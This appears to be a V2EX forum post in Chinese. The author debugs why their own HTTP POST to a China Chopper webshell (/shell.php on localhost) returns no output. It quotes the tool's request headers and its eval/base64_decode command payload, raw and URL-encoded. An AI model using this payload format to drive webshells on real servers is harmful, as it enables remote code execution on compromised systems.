今天无聊研究了一下菜刀的payload
,结果发现自己发包却没有数据回显,POST 请求头相同(问题不在这里):
// 菜刀的 headers
POST /shell.php HTTP/1.1
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/
X-Forwarded-For: 238.212.118.226
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0
Host: 127.0.0.1
Content-Length: 380
Pragma: no-cache
// 自己发的包
POST /shell.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0
Accept-Encoding: identity
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Referer: http://127.0.0.1/
Content-Length: 414
请求体的区别是菜刀的 payload 没有被 URL encode:
@eval(stripcslashes(base64_decode(stripcslashes($_POST[z0]))));
而我浏览器 or 脚本发包均为:
%40eval%28stripcslashes%28base64_decode%28stripcslashes%28%24_POST%5Bz0%5D%29%29%29%29%3B
无数据回显的原因已经确定,就是这里数据被编码的问题,那么问题是,同样是Content-Type: application/x-www-form-urlencoded
,为什么我控制不了它的数据包被编码,难道这里需要我直接发 TCP 报文模拟咩
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.